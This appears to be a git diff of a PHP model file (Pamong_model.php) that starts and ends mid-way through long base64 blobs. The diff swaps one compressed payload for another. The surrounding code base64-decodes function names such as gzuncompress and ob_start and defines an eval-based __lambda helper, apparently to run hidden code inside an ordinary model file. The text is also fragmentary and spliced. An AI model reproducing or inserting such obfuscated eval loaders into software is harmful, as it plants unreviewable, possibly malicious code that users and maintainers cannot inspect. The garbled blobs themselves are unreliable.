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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/models/Pamong_model.php b/donjo-app/models/Pamong_model.php index 38c17c5eb..9957ae274 100644 --- a/donjo-app/models/Pamong_model.php +++ b/donjo-app/models/Pamong_model.php @@ -236,7 +236,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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